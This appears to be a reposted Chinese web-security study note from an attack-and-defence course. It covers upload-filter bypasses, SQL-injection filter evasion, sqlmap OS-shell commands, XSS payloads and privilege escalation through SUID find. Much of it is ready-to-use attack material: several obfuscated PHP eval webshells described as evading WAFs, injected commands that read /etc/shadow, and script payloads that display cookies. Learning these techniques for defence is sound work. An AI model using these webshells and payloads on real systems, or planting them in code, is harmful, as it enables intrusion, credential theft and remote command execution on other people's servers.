赞
踩
get 长度一般不超过1024kb
post 长度无限制,但浏览器一般有个界限
get数据会在url明文现实,post数据不显示。但安全性实质上一致的,都是tcp连接
大小写绕过
:win大小写不敏感、Linux反之
前端验证绕过
:白名单校验
姿势1:bp抓包,修改放行
姿势2:通过浏览器禁止\删除js代码
.htaccess
(分布式配置文件):
文件流绕过:
NTFS
echo 111 > test.txt:111.txt
echo test > test.txt
echo 222 > test.txt::$data
字符串截断绕过:
%00截断绕过
可以生效的根本原因:分别控制存储路径和文件名称
文件头检测绕过:
文件名 | 16进制 |
---|---|
PNG | 89 50 4E 47 |
JPG | FF D8 FF DB |
GIF | 47 49 46 38 |
fuzz
源码审计
旧文
SQL注入
判断:
?id=1'
修改user-agent
预备知识
sql语句中’’前一个/代表转义符,最终代表两个/
load_fike()
preg_match('/(and|or|union|where|limit)/i',$id);
mysql> select id,min(name) from test group by id having id =1;
group by
和having
创建的是虚拟表
name
等于一个list
。如果要去拼接id和min(name),那么两个都是单个数值,min(name)看作一个数组
substr()
group_concat()
mysql > select * from test where id = 1 || substr(name,1,1)=0x74
substr(name,1,1)=0x74不需要select支撑
数值以16进制存储在数据库中,可逃逸单引号的限制
||binary(name)>0x74
binary()
整段数值转换为二进制,再转化为16进制
/**/
=
替换为like
admin'#
,注册时有防御机制(转义)修改密码时,若username=‘username’,会导致二次注入。防御:代码与数据分离(预编译),进制用户名出现特殊符号Userdefined function(用户自定义函数)
自动化工具:sqlmap
sqlmap.py -u "url" --os-shell
sqlmap.py -u "url" --os-cmd=ifconfig
dumfile\outfile
outfile函数会在行末端写入新行,会转义换行符
dumpfile函数不对任何列或行进行终止,也不执行任何转义处理
**
?cmd=system("find/ -user root -perm -4000 -print 2> /dev/null");
?cmd=system("touch pentestlab;"); //创建pentestlab文件
?cmd=system("find pentestlab -exec whoami\;"); //查询当前 回显:root
?cmd=system("cat /etc/shadow"); //执行失败 (/etc/shadow只有root权限才能查找)
?cmd=system("find pentestlab -exec cat /etc/shadow \;");执行成功 通过find提升权限
Linux环境下的一种除了rwx之外的附加权限
<?php define("a","$_REQUEST[cmd]");eval(a);?>
可绕过WAF,执行时a会被替换为$_REQUEST[cmd]
<?php
function a($a)
{
return $a;
}
eval(a($_REQUEST)['cmd']);
?>
<?php
class user
{
public $name='';
function _destruct()
{
eval("$this->name");
}
}
$user=new user;
$user->name=''.$_REQUEST['cmd'];
?>
<?php
$cookie=$_cookie;
foreach($cookie as $key=>$value)
{
if($key=='assert')
{
$key($_REQUEST['cmd']);
}
}
?>
<?php
$a=get_defined_functions();
$a['internal'][841]($_REQUEST['cmd']);
?>
MD5
sha值
对称与非对称加密
·····
CVE漏洞都有编号
CVE
流行框架:struc2(java web)、sping(java)、thinkphp(php web)、django(python)
即跨站脚本攻击
<script>alert("点击确定进行修复");location.href="www.bilibili.com"</script> 跳入其他链接
<script>alert(document.cookie)</script> 输出(盗取cookie)
</p><script>alert(1);</script><p> 通过p闭合
即xss代码存入到数据库中,调取时未经过滤,最后xss被执行
docker:Beff
通过js操作DOM树动态地输出数据页面,而不依赖于将数据交给服务器端,它是基于DOM文档对象模型的一种漏洞。
盗取cookie、广告引流 等等JavaScriot能够写出的任意恶意功能
AJAX: 在不重新加载整个页面的情况下并更新部分网页的技术
过程:
JSFuck
伪协议
data data:text/html;base64,efecdsc=
javascript javascript:alert(5)
编码
unicode编码(javascript编码)
url编码
html实体编码
靶场:https://github.com/geektime-geekbang/WebSecurity/tree/master/Chapter_1_code
课程:极客时间—web安全攻防实战
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。